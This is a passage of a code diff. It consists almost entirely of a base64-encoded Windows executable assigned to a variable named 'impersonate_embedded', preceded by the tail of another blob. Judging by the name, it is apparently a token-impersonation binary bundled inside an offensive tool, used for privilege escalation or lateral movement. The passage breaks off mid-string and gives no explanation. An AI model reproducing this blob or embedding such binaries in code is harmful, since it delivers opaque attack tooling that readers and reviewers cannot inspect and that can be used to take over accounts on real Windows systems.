rwAAANABABQAAAAgoDigQKBIoFCgWKAA8AEASAAAAKihwKEIoiiiSKJoooiiuKLQotii4KIYoyCjcKh4qICoiKiQqJiooKioqLCouKjIqNCo2KjgqOio8Kj4qACpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA') + self.impersonate_embedded = b64decode( + "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